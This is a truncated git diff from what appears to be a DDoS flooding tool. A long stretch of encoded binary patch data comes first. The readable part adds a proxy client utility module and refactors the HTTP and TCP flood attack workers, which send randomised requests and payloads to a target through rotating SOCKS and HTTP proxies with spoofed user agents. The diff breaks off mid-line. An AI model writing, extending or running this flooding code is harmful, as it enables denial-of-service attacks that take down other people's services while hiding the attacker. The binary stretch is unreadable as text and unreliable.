zD_1f31a?{M18^ZYE;S}PF*-IbCNW`j0{O*ObvWGUn_-E+3m1l)RWs6OW@QA0C*kJ^ z;RfPZ11;8Zj=?B zo{(&0P}AWkMt(okko%N!WZfblH~y3esd2qp`YZWrW+vBhI4WRvhbzLtFh$8KZRrnc zI~;!4mtcv14Xz9;xH_B;i+_|A9|lwBtkN)TkoAYZ!%+^t4wr{d!jj)6m~@$0%LzzJ zjZ98Wi%Cs&d>Lrk7vX~FNzqBk39$}GTB#z$fOPHqutdBDOTx{DgClDRTmpNtWeDsd z11r9q74Nd_AA`*Fztej%nrQ7-J}TVM`as#>I^cNJw?mBc1eYHP{UoYi`AyC*Z$JkTkw~4CHyKLsxURHg3o40=zmY!-(uF@Vext&aZySUF%Tp8RA;L7ky2D?;iJS_IzKIYv% zf@#~VwA6Gek zS@zy}v9j4h_MXdLoN3IJ14PJ;whlLIXzzVbNnrT@RkzcZp#U;y-$*p`vs>~M6_Xv{ z@Cb9T=ECK%t0!fe5pxh^iBE}3O->vW=NOx8j`|U>tPTTV>C2v0MjwqdZT2$`3bYiu z#0SGAVPol_1@mJ|i}}Nn&&m|DMSLy)R+)?pi5MyUz|{a-`m87p(js;Sv5CgQ>iC1c z7k`!|ad+ItmKvudj7W*58~@sMc9+>*Wp~jz(n|iBLsLd4rD04OYnFTjEMp*;X)7F` zoIG5Xq1xC|lel!&f3E1%j3g@V=#Re?U?atsF%grTn4Cf-x}i(ow}ItGXBm9L)yJDH zH3g<3nOS29h-0A%W=1ivte-yU!eiqTV(3-}V^Hqvc+<+LG0h|`5y=gN?HUGSOFn6oW4>Wi3vl}*xDQ^am=fP6vsfizMvx?2cJxRR*{OC-LPfhOGr%~JS;9It%YT? zC$fP#92X~>1#kYMneP->{KG7}9xN5?HpS%S7Jm-Q&^Swai9ZTUy5mz#`v6S&y=W=D zPSKhLW2T$+iJGoQ6%8#oEZc0Bf!X?sq7^g0Wf(}SjEqi;4`92sPmM<@VF~m_v&`1C zbz`GM|LdvpVrBC#_EeNpYIIU+!Y=ZW?)-X=na>qiS~o2|C3*DF_`1RAX>m!?9NXra z)#x6#VTB&Y3~E8EtUeeM3y&&M>)iRk+A*)Jvsb}sY6`8FqF zV$Rh1F-0=i6Ij;YYfrZCO|Lx%DlT*CeJd~XKK-)iP;9RzmG|7OoUZNppj!J1?u#7M znp0M{e%(LJ-Gl}Y!78rj)(vxS#_EWr=~b}qVYM}_nqls+$_@t&nN`||OUII2^6A%W zhq=GRYJ!ztuM!gGu2aRdT!u9S>p9}Q^eQdF+=sC|Sl)*98&6x9 zYb@?g{X(jncPGylVcPKOdek;VXluPf zi%9n*LegRmJ-2?CcC40uv7N_VfypZ(%@G==#ro?}?LDqJbyzC&{_P`OUlZzYgj&~i zI0hP_^@PmWM}+zrTAzBh-(Et|hE_U&UCIbeB4nn$LdeXoaea1YBQ}>%oDs_3z~Sg= zg!&QcV}y1Q>Zf1n*d!lKYi1HpC{oV}jMUZ#>K8kE-1iWqPn~*|z%W-x5PfR2$3#L6 z(Y^HCT4CDZApK$&kLw6ywzYnxOQg$5Tw5d5j!=6eG@pHOuLnknctnqS|hr{Ofi{|dEd7Qbu{uT9$}~L zN67Ts_*lC`$jHwf#5j=Y=xvO}_psX7mbNugkLu;oqMGU}dU@Ql`9LKTkYQ0XOnbYj z?%Ug=1$y+T-X8Zb=8Y9sKg_+!vdm`w94k=25)kPw(Tp;YgQn*OhG|jF^cBx}TniA} z>N)izUH>A~Sij;Qsa0yONA>ZzCo%iYT$zHdLs$&ohLP?^g!m^DwRV`x(}Kf^ULhpX zy^9ddD8o81%zYP2QX316s~-LC(Q}@Q)P}XxqxyN=t3@C>zaHH%%zYV4k}{)NLHt`i zUJ0;AOWd6Z(H~Z}oBHa$$sX-`Up*?>;|l60OCvj- zGef_S+|2bBHj8j_q^nevu~ZTo^f>g= zE006JJr1>GV3>Zh9*5374*3p{by4yg^fc--O9X4lg>tb-|7GAxXfl=f=0?mO1wzJ=Hbv5>Js)E;b(2gd&7 zaBmEm8s^Hi1*tb+hbHGnVo*U%Fs<@HOY>Y%H1N3~UZ&H-_pfCV1T4;?2=Za}D7rh9%V~ zU>wuF!HUExs7DVCbJa+2IC>dt%YT{7t_-|bj)$@cCg>|BdE6z2neD`iL4WMevsQ$A zV>B`DCM$KoaMNM~!%D!CrNw2GWIvWv#BCf&f5wsqHFj=yM4}nTcE+OcWo0`T*?Ru{ zSe;IsXKp{PBiUN9a-0JlZEC^cB-Q?#Lu_ z^>oVcaLvVHTKPx1KP6HU!;)EJ zjCa>$tonKdPU$ZbGV3OvE4~#SFP34(MY+-DPU}_Ttb}b8%DZL6KZLM%1@AWwtrxx zE16Jpqi0^0ka;gE`x{m;7NdxBNxg|i57divMG@i-Eh4pL6ZNQi9`~0BO>kt4ut`^* zWVRUH$krQWS&U$2e~wtjhl@`M$pXZO3--IhnU4n`XW9g;P`yI4NY@%d3>qqPlaP5P zsgq@FenXR=a+#5rtkdfHcaH_ap8QLTt zfwoe8*BL{SP@!p772WL!Ne<>dF%3&bFQ*jx;!P|WC^Rw4(@$0$Jwr+Tr&(;YNwgKXV* zwZ}CsTZV|V{&7M^m%AJ@jm?E&6Hdr%@iyL#QQQMzg!Fi|nHgJUj%g7` z>_al6M=d@;+d ze9hoqN~jl^7`4`ZT&%Bn$)klX(J#K_anD#{wmEIrFHGyRRFB%>(N-+gS3pgaei53b zbl;sGcgbap2`P%K%C3P}Y-c+oT_*|km5{r_a)+Y}9-PQGg}EkTu{!LG)DAA!SG??T zd9N@&^pa#Tp>QL~+?8h2unTaOIff-2sTr&Ak1O?yyFBi|RZre`0v5|5cRNf-+L3*s z7oXNv=~26z<;#)fLQ0iQh!u&uzmub{c*W!XL!xkJFXAlMe6^X_81C+LEExz`%&%8h z>nrwnwEL@d-&!75!!=e$?o2{bI%Ceec4IN=xYhTB1{tC0YptemT_qG{XyLg$P$D7s zdxT_ouoE!!^RF|<6Zfne=4yg9!0=x|h?Nlk&m@FD4bDznb3F$H!(#%WB*WtyLM`zq zAs$-24f@6X9(VeN#~Je}cIO5?>VU`nBVtqY-b|lK8~Gl~v{+*wVztwA8b@laH|bFa z855h#Pm=5k)55gZH|ZA-dbA%l>Ar_NuFjh|Hpl|5E!?cHIONf8Y}PLxY8+985i9Tl z)qw_T0=b06_7{WeNp|X2&Xmo}hZ+FHs{xQpSf&G0(71#po=Iq2!UX`;GW2F}LD0dn zJHc}OHfBaqEComyu>%!cts@ zfpG~-D{eJSgT;RvkkY@yahwfI9=t`Ftw05kBPECo3SB;!wj*#80!z02!mGbQjTkoLQ3@eNq6r?KR6 z6G$$%fL#BL#s4-C{vJrWyB6P*c9V;MaXrc6_=BZC$)f*g=})q>&(A>Of3f&ii|@m7 z2}?nK7lZ3}>;8ry5s!dm@F$S#NtO{*NFpsR0avi>|Hqv9f1AM*>7@ddE&FL)miRC$ z-sVg@@c$EM{zr-aTS26Tjj4f5#%6GJIL4~clbjzt!P12#ILxwzWvnC`Hsj9>{5wnB z2+J|qaCA8S8;i?G%kOC{QKR@FH%_(ugq?cfV+GtIj5e%*W0mw$A6M4veO%0#8RJo< z(v!r+VhP&AMp*Kk42%Av{IFP7sOgqI!_xl`IMc{@rj<}wg0n1J*p01Qwy*>jTeh$i zY^h}nOHf(%(^x9H!irzvtczs{lF=$FLf9L711!=;`Jv~0Qr2ja%~&!xUVrMn3=F#oI&jKTGzXHE3R*jy< z;`f^sFD${|E&H#WDT0g)FWOmr@>%SXcIOfnJwGgxH$Te26=B)^YKZt3magzemvpr) zu4DN<$rLox5lDo@1zQeJW63Clc;SYYf2idzEH!Qd%Z;1C;@8}Y7Z$yhW&b-5H6tWJ zYs*1c610OwZ*S>OvPc~*{YjQ|UC<@!Su5UP{m%IYRYd4*sZX*2!4d zIkM%)|G<*Z9F2Yy-+5MoCs`a8p-a?aen=B3%THJqo>j0EEXUG?#a?ak8cTnYC4Q}? zuhlrKi;#;T8Eghk&B%P4=@vUkD!bG%~Nd&J-p7XQ6s>s>CHC%t`GlItN@ihsoN zdR@G@o@9}ZTJgs$K5qF5OYSFNX_mJw{Ye)6T}y|}c0FSW!V)}d*-x@aA6mMw+~}NT z3yb{`ECb|%r9a6cU9xmx@xQFGpGe?}6(KCaYZhO(bYYi%<#bv7_G$0hlHzMCMp*2d z;sM{WbYU+&;GMF@XOIV$DlFc=S@zRd;(wRa@FUo8#Sq;IOAERr@^4uD@>~7|yl7z= z@^*dG?X4qOzD zfaUscEEQ>P`3Xy~6+a}OHn3ErgQa(drGQX9mYPOc z_6rsdu=E&MZV(I0^)!}zGKW|W!Xm_52@@=PxE22-OM#Nng;T9~VM#yQvY%v;(k)$B z{Kml)kZ*mss#p-8>OdT70=b06_7{WeN&e@{3mQav;h!%r%;A1QMhMr_SO(EaAk*S4 zAeXQVx_`dBFx%zHFD;~f#FqAY@=FWR#g_K`=gW)A(mY&GxS~-;JJgFWpxhVbhWLzisLv(U7B@

EV(Amj3UR?-u_EFx25Sj+zGSQ(HEy3l0C_hW0OowW@6ea!{ltv`d zCOgy$QG5!cJY0%0#i2SXlvAPvj3VP{Dx(1zrx!uE(g0zGnk;wnFN$zOZaq^41tFXl z;mk7#vsJmm&OXjLYLw7iby{eis!{}+uQG%ds1Jn}s@g@NMQXB;t}X~IRzby}C2FS7 zQgvNOsfgmxGPO`>xw<8^LbWIXtyIf}R;hbJIjTcRXtl}}TB9BatySGiLAh$H&^qNT z4Xs!Ggf^(%LK~I4475o_3vE^hg|?{TWudJqL1>#gCbV6Z^MPJcql9*-(?UB{m2%L_ zDnn?O`cP=Ms_hHCq9zONQ5S^vs-W`FJ~dP5Rdroxzl!jK4yc7f2h}a1L#jmu=ry%m z=&-scbVPNi2)(Xyh2BsPgpR82m7rs4E2Mm?(G`U&(-kLFzsd-wL^vYCN#(ABkX{{O zL=}X$)j<*bYamppif~#bR7E&1!Wj|XRpqK7WY5srxPr*elO#D^n{2xEFX zo$64SO!x?t3gNhTsf2J`PKj_v1eYoofso!9VPXVA0d-mg|44*@#t3ee(HP;p2vDWRrK5Q?f}{Sa=7a7TpVDxxXEG7mydQ-qT0mI&>eA$0K| zlvc|<2=_&JC_-7)p&7!K<_J5QA(T@OMCjWBp?`CP@@i{y1n-szg~Fgb^(fs+e{0X^l{!6+$(Y&cC%C|E5N3Q@O& z8mbl@phjxBP^h{m6s9_Kgu+#>P=tCQ)L3=z1VyT?LQRyjGt^Y|6Y{9tLd}%B3)Eai z3$;)Og<7iOU7=Pg0aB-)mAZDNsBKiaXQi&)q^{2*v{R==@b4~l?S{}nWpqP0FTxcO zI;q;-5wd$A%nLQA0if~7S?kb`u!m?fnIXw}2s$A*F_Pr6h z^g`&ZmiI!qFTz6+`lt@Q`LX3WgdM#R`l$yZ^zDPt|2c%`)z;?_y!#>)?t{=@_3MLh zK!hVA3{>vE2=V<8M)XC9RtH7!i9)E*40(<%JT@LRQG6v zWdjj*h)1gW@OgyxgAn8Z;2f=X4@S5zLg^TUu_`(SVM{c^Nf9zs@mPeugAqo@B8*qZ zMDUJ5s1b)SQH_d2I3U6&B4ny6LlEL)5vC16n5;e&!6y!((NKgbYVuHoQzG0DVVVkx zM@S!nup}N~hPp0-|4@WB2?#UQ!UTl#BK$1EY}H~ILUugD#$gC^)jbiy6A*e2N0_g2 zha=n+!Ig-xP<2m4ST+n{p9s2gjzDNX93gH5!V|tPC`&BItgJ*BEm@#maF2) z2z^H&j7~;asg8-@orF+hBtniFH4@=~2%m_sMrDjbh)+hiA}60*RXYX2XC%Vh6omEa zf(WNXXqt+!QO!(6NFRl8M}*BPA`QVm1tBL5VXL|&!g&$8j7He5mXAirPDOYq!VcA8 z3_^Gs!j3TrFRKS4+!UezScKhb>sW+kqY;i2MA)O8=?Lw|AjG93>{Gi%xGzHK421nE zIs;+LScH=z98|@}A@og07(EW*HFZn`?+k<*;}MRiQR5K~i13LBZ>TC05aP!nOq+mk zOnoSV&v=AJ6A@0R$rBMyiEu-NlPYKuLiz-RC6f@|R@X)FpNP;V6XCR4n2B&+gr7xt zSGCAO$ex6-F$>|0x+g+-CPMGY2xnF9WQ3a{xL!o~P<4M1VObW!J`p}r&M64(CnLm7 zLHI=N7U8}KrKci%s-mYNY#g! zZDt|dQVVAxoEPC|5x!L|W+P0bms&cCkZi+B*6+&@!T7+dw5dv}$N~(+;g!T&IiU_4u?bQhPMVPx9p{%+f!j@$S zP1hilQ#02f^j(f{M}+b!Vl9IA3WS`s2o=;V5e|sZB^RNRTAqs#zY^i02vt;vbqGGI z5O%CXsHPr>a7u*!>k(?Gt?Loea}Ww|K&YkqZ9wo}jc`PS+RD8V;k*bVHX_tj2SvzU zgHT};LV!xxgb=KxU-nLd(P>N$oxNXU_qj4O^~OpLez`XEZJOkd1Lk zFRqWJlF|;L$G%OrZXn;I z`HI9PPlxi)c=WBA1h{^-GwE73kXOz)U>n;gx5(XT(vB% zB4PV6KYvTBgl0c^XFXq=>8OnOIS$e{bu7m!gyoSv8DMoStt#Omgk^x$v$Sf269~%{ zU}@C}OYNn3>%&t18sIG{Jy($BCr?Mc?xg?a3P$9gqZXJCq}k+wT}dO4O^KT{TO&)W zO<0~#lS>}t6~8**u4KX$W@++R`}aU96mDtt2#>J*BBcK%p8z1WlG4izl?>~H2A0;; z(i))U5-FwkSXv=dj%RnwrU?o@s)`F!#mO%cP*0BPdcc^*KX=O485*`Ugg8?8F#DbxqACTp+ zKS%?Ez+f;6#DOF*3`BuskOE@BaPU0n3AzIrP%`>u5XoSaaU)ZW`5tOa_G%azbgumV zBL$2CV}U#tTNl&=0iZr;00PyAy|j{mj3l18_Wc=z+^BLtO2qOd;rdYJK#I;J&>(H&U>+N92m;4T#V&h z{ zd)@}`fFs~_@C+ynih!b^7${zxA0R*{s0fbT#ya6f-T?&a1UGq zpMfvHm*6_M3O)y&!CCMDm;`!(j-VN64%&hCAOy$`B>QDoAde=;$)o17*YyDMkn}(h z4SIv;Kp!BFi&q1SDf1FA9sEKD{{o+YvDoP#6^sB$U=h8dgNtA@*b26R?cgP_1H211 z$*`DC;CJv4+y(bQ2QUKcB(r?*EASo=O}Gc>2s!~dy2!CaPJE9jOc$^XYzHra9bhMr zJ@f|n3dsK2g)}i#YN-s1UlB6kG_aV6C15`|01kq^U>Dd8-UnyEDquX>PbNPT{sG(v zvfs*HD*I$4c$qw31$)79?$Zd(AM7RkD##p7ghDt0-UNrhYv3^016~2m!7lvvgLg@E z5WEJCfY-qr;FyH*I|5D+J_;WLW5G3$1O|gYiCYdb!j(W}0d^Ho6;uP&K@Ct7)B^sXHmC#Yf_fmpsg}N=)y$m7 zeK!K(`G8U3m;zdZX0))5?-uUyA@~}61!VtDgolB;pdM%d4&s{&)&a>+AjhSjh`UQz zPCwzGF$e~M8r#4|oaHnje~Qo%$O&W_kqFM_at3P!ngH>aLdfAl{&b-on%Hs^ z`HKbN^Dt zH)jLG9j-mr{O8LI_>G{0yCfD7aUzoSWaJpi&o$eQ;vkW$J#k*=2J9tsM8?|=*m zS!!;AufPrPCAcO%ae=^j@F|eR^JDN4I0xPbXTV$FBzP0N2V}Ot15Sfe;B6~x+h?&q z1Rnrdj3v)Y;3BvTu7IoHGZ_hA5V#IL2VaA4!8brkEa5vqbb*xmNALrXfh^mQoZ6%X zq(D;p0zhi&MQcf={sa$!ROS!x2snvz08JL!{6G?kgPX84yL5pp9iq!VDK(INQ}$2! zBYhd=vWH47E5YS}4=4*{OO@?Zw$)OgG$;ck4?ox!ln0V7Qx3fqf!xqur{u;@jsv?O zQZN|{5+`eyj2VfOwM=R%T_uH+@g%-7hQvoIA-b$@vewB^mG!QblTY|93A9k74zQFbzxvlfgvr9FR?4Hva*jKj;Vgf2n+@TK{OCM7DzV_g@=IQU=&CI$siuc!juF{oan>A2#{#m zBjGeK8ov}c6$~Xj2A%-Mfeaao<1Hf#7JCxtjpG#fMIbem7MKA~x5Dyu+Dt1v7oH8I zHNV6v8EgXU zK@M02)&WVk7OVkN$!j$n54(U=W+T`DtoTf0;S$H)h%yGG@3(-RU@O=TwgJ(0ftM{? z;$H$gEKVS82Vks2Xa~T4@G6kPiSGyCEI1C1fj6Z84-t@^TAELA1iS_ggV(`PAUAsh zya(O|C&1g_E$}8d2~Ghi=xOi{kaX{ZGeGhb`>&P!Nc#I6_yl|m&Vx_E1t9uo;3^2C zX0ldYA$-}=ufc-Pf$WUa!B>QDfZO03a0}c7UxRNgNH;wK--FEW_#yrM0Ne+6!4Kdb z_!Y>Fe};bnKLP2(AAxA%`v(x8-(V^1?@zGklGj5ZYm*?q##jLPfR}ujm-#ItSVpcy z$TtA;O+W!K7ER(MQ5g^dN(1?3pb%I{TuHbHCZk>L^L^C)&Y`{6ijMh7tm&okjBwdS}XuaLF)rM zKfC5~>I(y1RlTytzg%n!&rA-8s2@>3$ULx>Q0LrjC-T{jp~QUX-a*Zq;+=k8=_>boKIO=`57Fa&3-jy=($B} zG%0LQ{owsQlC_TuIG@>HYpj-0NF6?+b=7<;sb^l-eEjS;h}f@DAWb-Fs35;8YyP^H z%>n?XGOw8a>)tfdi zR5Y9zsSEAVteUD!Ih5ZL%~vgWL-Y09jIVTf*9OPem3!wzDSR8!cI029lFGM43-

B#WyZ9f6|PrHy*NWl*Y4F)f6UM- zYx(?D#ccFq{;Eed-DSU*&oe+f{PFkR*EFY$tx(3$CV%x^Hl1O=%5UGFw|^+;`%aB~ zPWrQ<6#KeA(~t_iR;o;i{_~f=m>2VhziKj*POx7OID7uXRr{+I|0d5PthO47N2vWm z!Tf3GViVv0QOonNUpcs^M!x=mH>Z`%i&3@J>yp-fNnu#69pS;hf6zA1<5F!_DN5Gs z>KnN;ewyr?7xSRDdS;fCtd22*v$9iG*1D42p>Uo@a2?fLJnUB`e$}Fe_s^|bznSNe zTt}tN(mMOu?=DQ8+5XYqjnya68B7IfnJ)v?Wy!;SJJ{8$Z{%zbJ`$178CX9!NQSyA zSQVR19qbpH_3(U9*RMkH&3PX7tIB+S`z@%)JE3uTF|C5t07+}Vqb#uHih=v{7p3j& z-0jz;6)xNQ*6N*O-p-4e9IRd&ZG^@2LFXqc&Reug??bol>Dd8XDoc%>^o`?Nnx5Po~{`}X%gDvu6 zYJ{i>r1i7ku=e%Rv>$St{qkC#N2d_AOLDhg_NGVPt~PA$itIcO`z>w9ZYgtGSEzj?0S~-&l2?OUdlF+zq+V?3LaD z;WspAczsqs=E~m2DoZ@<*ZQR%?!A4dR`i}RJ&n22AX0T($^3jaQWaYU4~)Dsmc6WWp+gv1MQ2j~{;$gp9uw4E=)yw;jS&Ro0Rz_Xf zCTi+DEjZMEt6^&A;k^g7dU2ZJ!Lr02*Th_|qGnVX7qRb`lSWKXC6Lnj1x8Iof z)5U6~bGLrc%>**SqMOen7@=@DEK?k%jb@{SM2d z2NCzX4C_&zlntqCFlUIS=JH-i`+Pw6@4g#p>Q4-TBtu3QLYlLRG=>9YNa~rtT*-xHydpB9Q|tA;E6_!jFw*CTD^jY zR<6y`#U$w1R{1U_gOhDlSFz2G@KITdwGsuNYiIm6nzv}GRhIJyPx6r_Dsc&|u(Q4C zH?`Tv6r5KiyT$Q*4xfe-Em9 zSuw9pJZtVv)_mhh(43W8h_ZJFk)?e3-yuhM*Ya_!nO>OW75yp5Pyj%-*4pPTFGhPBGs}KgXVV{#?tZ6Oqj+M%m>FWYq2!Dq?~rQk4joa<*a#Y_eQtBuC~RT5Bl&KgggKBlwHhe zucCinHtVLUNlspetC3=S(pSyNp|7f_H*y%3Pu;SOZhGpLX~aZ?s3NPG>`&c(43DR7 zE=Ek>VD$oN{hqqr8XjzW3ncfaZe50li)F7A4RfkMH`Vs$h~viAWyCZHR#zqMWXt2Y zZ)wf*JT_Y~m!=G98?^M|vAmeygH^pXl+1po>fkbexQkXQ^-G?|0G|57Bh-Ei z>#1L|DoxnXThH^b-_yFfeBhyvZpB39#gq$HJ0WWHjL~i^Hn#?;_trA`8>ky= zwaMk}7wZN!+fZY|l;XaIW3Wu1ifVE$b8*dJwJKNZT;6`~>gwsQwc7Hq$R?KlMod~- zbGq_c$5L}?kP2Ui<5TB-u*~jaY7LJ6rEHsesPEP>V{XSP@AWM2f5fWi*0cOQwU8{4 z#=^4!PiKC0Z#^FgjrFHYMRu;gZ-Anz*#_!$F;HDS$%+`7q!lYft;1OifYA&(m z?N^tU-&l|KZe)g+YSC-!YjqkL>!*LI+A0mxI zhYZ+A$6Sk3i#AfFyK(BXjZ|^}5cQkr$A_r;o3uLB3Jo3NgdX9pe6Pv#LT724yQjt_1d zeP^5=4^&o%DYItfVSm*Af8*o28o7<7_>Dw0htKeS_KSG0KRUD1zhU8JMyDH7CU=B7 ziidW1gbI9HD^szdqk59rpo2QZ6skJ2w|w6q{ZAv9zGcE2I_wwst{*mLbjG9SE8s(J zGGXjj`%c*vceYN%v+~JahF2Khz$L2}wljV0m;9~^`B&F98y|#O9*nP^>cn=AGx^o8 z+qI$EN}h;)iMeUNyLaQvwbkl$UFX5yI@YvGRXbnOvh4Br_v6=^S&ZLFJJ^^WkKcD? z7|&NXcCflw<5sgqr|P_uZy4R#jl{bzb^7?b2luyGc{0u{4^?ju-}Ee+ z#u5ADiRQGoJ_M*id-w`%@g%it54SdJ@1xnt{veswW~}nrOVwLss?K}4oBbZ*%KhF+ zEtU9uq*X_{W?-hu+DqeH%2e7uZAj?fv<4;rn>;w-9i6OJ@1yh1PBy#u$L7ns#dt?P zGU{YZ^^3&Fvh?kpZ@y^rd%sqBEm-eGb(^$)VK17;S*_=S)G@5O^}A7tJ&e^FJY zjYFs4A>Z>&=-0ack}uv^Vt5!c(|$YhikGfmcr+*Of|WaI?f$Uen_O?**ZSSxC&~vu znU{EcK1Hp2m7!_9F*)nhmh6yMH&pn-@}Q58PgQqcrEeKNp8dw~8MU7cjxL|GpQAt& zzb%k+_=T7vFHL!WuoT?NI%c~1X}|XVQ|1LriZL$+W~-|Q=)+;z>iz+~J$uRuocER9 z;)8VPqFL&cFca{PgEZSyQUud%6q_#r0}tV0zpQy)?kl|?PCVP&DjyxnSDTaYkaZXC ztX-L--V^)lIqIuJ42f-XRs3sOR%p;XbMJh0M(%+&$=Px=v1(|)pZT?OUk%=px_5>V zV|>zJ?o~WYUY+Kt@WbR?e1V#NSR0~sT%f)?O!?ueM`(8YjnD7iarJFc^NmnSC$pN4 z`DlR}c|>bnaMU8>nUSmlx_api>SMpGIb>1HxMMkM`P5ocH+Qspy7~-{Q2X`H6NBql zI$qMNDtWR_$QJ(8Z`h1Aq(Q2xf0Xk4XYM@~o4F5MtR@`g{`O0u_xqf@{J{s0zO+gl z6wceh)h_ZF_SCx=1GNApm5)=&%gz>^l-*esbAChaGJ4J~F{jSn2Nf?a$Xb1XT*K-I zH=@w?JCxtuQ>kOKVI5?7BBr72DN9x7W0c5#3-$C4o=)q3%6@2i$T#4Pm#VB|e0puS z)LcM5TdEeE)Jo--9qG^DbGJlr!Y^4N?kb~}VQ&Mr}vPvBv{W7;v~^*8S<7BuTV$dB(EPULBEN7L^cF4iH#42nI%~n=xA-RSDZdcl!@SJ4X4TB|+lPI( zebC{jH8mP#Z4wXy$V`>o0~e}nawU&%)~w~G4YWwk0Vb_Jmzq1W>b9G=*soKleEnw~ddxid@Ul^jBriYvt>?op{&;@&!=dx@ z@|dtmZFq-e)bi9CZ&uH|ODR6xteU^8g}C=yF7juohT7H1YWI6urN+K9%oXg^tXKXx(XIQY zI@ksA`y%bdgkrHBE;Yn1iM?_7^RtJvYvDI?pV=aMf7S7frqrD?+U7!3cyvliTvA$M z#(w>MZA}H$VX#+Bk<`&6M<%DFr3S<#Cnl$;mj-(^c_uY2B_U~Oz}SS?wD|ou2YdNA zRsBdWKeaBxt8PJw92pRul$xNff2@^PuQvAL7jqF_!_>_Puf*Nk>mxNR)@!GVFYOi1U#5FaQ)MrcUyt@)p=v>tR}uNo z5 diff --git a/package.json b/package.json index e4dc8ae..bfcbe03 100644 --- a/package.json +++ b/package.json @@ -19,6 +19,7 @@ "dependencies": { "axios": "^1.7.9", "body-parser": "^1.20.3", + "cheerio": "^1.0.0", "cross-env": "^7.0.3", "express": "^4.21.2", "lucide-react": "^0.344.0", diff --git a/server/utils/clientUtils.js b/server/utils/clientUtils.js new file mode 100644 index 0000000..a9153cf --- /dev/null +++ b/server/utils/clientUtils.js @@ -0,0 +1,112 @@ +import axios from "axios"; +import net from "net"; +import { SocksProxyAgent } from "socks-proxy-agent"; + +// Misc +export function createAgent(proxy) { + if (proxy.protocol !== "socks4" && proxy.protocol !== "socks5") { + throw new Error("Unsupported proxy protocol for agent: " + proxy.protocol); + } + + const uri = `${proxy.protocol}://${ + proxy.username && proxy.password + ? `${proxy.username}:${proxy.password}@` + : "" + }${proxy.host}:${proxy.port}`; + + return new SocksProxyAgent(uri); +} + +// HTTP Client +export function createMimicHttpClient(proxy, userAgent) { + return axios.create({ + headers: { "User-Agent": userAgent }, + proxy, + timeout: 5000, + validateStatus: (status) => { + return status < 500; + }, + }); +} + +export function createHttpClient( + clientConfig = { + headers: { + "User-Agent": + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36", + }, + timeout: 5000, + validateStatus: (status) => { + return status < 500; + }, + proxy: { + protocol: "http", + host: "127.0.0.1", + port: 1080, + }, + } +) { + const config = { ...clientConfig }; + const client = axios.create(config); + const proxy = config.proxy; + + if (proxy.protocol == "http" || proxy.protocol == "https") { + config.proxy = { + host: proxy.host, + port: proxy.port, + auth: proxy.username ? { username: proxy.username } : null, + }; + } else if (proxy.protocol == "socks4" || proxy.protocol == "socks5") { + config.httpAgent = createAgent(proxy); + } else { + throw new Error( + "Unsupported proxy protocol for HTTP client: " + proxy.protocol + ); + } + + return client; +} + +// TCP Client +const DEFAULT_SOCKET_CONFIG = { + host: "127.0.0.1", + port: 1080, + timeout: 5000, +}; + +export function createTcpClient( + proxy, + socketConfig = DEFAULT_SOCKET_CONFIG, + callback +) { + if (proxy.protocol !== "socks4" && proxy.protocol !== "socks5") { + throw new Error( + "Unsupported proxy protocol for TCP client: " + proxy.protocol + ); + } + + const socket = new net.Socket(); + const proxyAgent = createAgent(proxy); + const config = { ...DEFAULT_SOCKET_CONFIG, ...socketConfig }; + + socket.setTimeout(config.timeout); + + socket.connect( + { host: config.host, port: config.port, agent: proxyAgent }, + () => { + if (callback) callback(socket); + socket["open"] = true; + } + ); + + socket.on("close", () => { + socket["open"] = false; + }); + + socket.on("timeout", () => { + socket.destroy(); + socket["open"] = false; + }); + + return socket; +} diff --git a/server/utils/mcUtils.js b/server/utils/mcUtils.js index ee4d8a5..28dafb1 100644 --- a/server/utils/mcUtils.js +++ b/server/utils/mcUtils.js @@ -1,6 +1,5 @@ // Adapted from: https://github.com/Cryptkeeper/mcping-js/ -import net from "net"; -import { SocksProxyAgent } from "socks-proxy-agent"; +import { createTcpClient } from "./clientUtils"; class MinecraftProtocol { static writeVarInt(val) { @@ -87,17 +86,7 @@ class MinecraftBufferReader { export function pingMinecraftServer(host, port, proxy) { return new Promise((resolve, reject) => { - const { protocol, host: proxyHost, port: proxyPort, username: proxyUsername, password: proxyPassword } = proxy; - - const agent = new SocksProxyAgent( - `${protocol}://${proxyUsername && proxyPassword ? `${proxyUsername}:${proxyPassword}@` : ""}${proxyHost}:${proxyPort}` - ); - - const socket = net.createConnection({ - host: host, - port: port, - agent: agent, - }); + const socket = createTcpClient(proxy, { host, port }); const timeoutTask = setTimeout(() => { socket.emit("error", new Error("Socket timeout")); diff --git a/server/workers/httpFloodAttack.js b/server/workers/httpFloodAttack.js index f19e7d0..695fa4a 100644 --- a/server/workers/httpFloodAttack.js +++ b/server/workers/httpFloodAttack.js @@ -1,7 +1,6 @@ -import axios from "axios"; -import { SocksProxyAgent } from "socks-proxy-agent"; import { parentPort, workerData } from "worker_threads"; +import { createMimicHttpClient } from "../utils/clientUtils.js"; import { randomBoolean, randomString } from "../utils/randomUtils.js"; const startAttack = () => { @@ -14,39 +13,14 @@ const startAttack = () => { const sendRequest = async (proxy, userAgent) => { try { - const config = { - headers: { "User-Agent": userAgent }, - timeout: 2000, - validateStatus: (status) => { - return status < 500; - }, - }; - - if (proxy.protocol === "http") { - config.proxy = { - host: proxy.host, - port: proxy.port, - }; - - if (proxy.username && proxy.password) { - config.proxy.auth = { - username: proxy.username, - password: proxy.password, - } - } - } else if (proxy.protocol === "socks4" || proxy.protocol === "socks5") { - config.httpAgent, config.httpsAgent = new SocksProxyAgent( - `${proxy.protocol}://${proxy.username && proxy.password ? `${proxy.username}:${proxy.password}@` : ""}${proxy.host}:${proxy.port}` - ); - } - + const client = createMimicHttpClient(proxy, userAgent); const isGet = packetSize > 64 ? false : randomBoolean(); const payload = randomString(packetSize); if (isGet) { - await axios.get(`${fixedTarget}/${payload}`, config); + await client.get(`${fixedTarget}/${payload}`); } else { - await axios.post(fixedTarget, payload, config); + await client.post(fixedTarget, payload); } totalPackets++; diff --git a/server/workers/tcpFloodAttack.js b/server/workers/tcpFloodAttack.js index d358635..c34817a 100644 --- a/server/workers/tcpFloodAttack.js +++ b/server/workers/tcpFloodAttack.js @@ -1,7 +1,6 @@ -import net from "net"; -import { SocksProxyAgent } from "socks-proxy-agent"; import { parentPort, workerData } from "worker_threads"; +import { createTcpClient } from "../utils/clientUtils.js"; import { randomString } from "../utils/randomUtils.js"; const startAttack = () => { @@ -11,40 +10,31 @@ const startAttack = () => { const port = parseInt(targetPort, 10); const fixedTarget = target.startsWith("http") ? target : `tcp://${target}`; + if (isNaN(port)) throw new Error("Invalid port: Should be a number"); + if (port < 1 || port > 65535) + throw new Error("Invalid port: Should be between 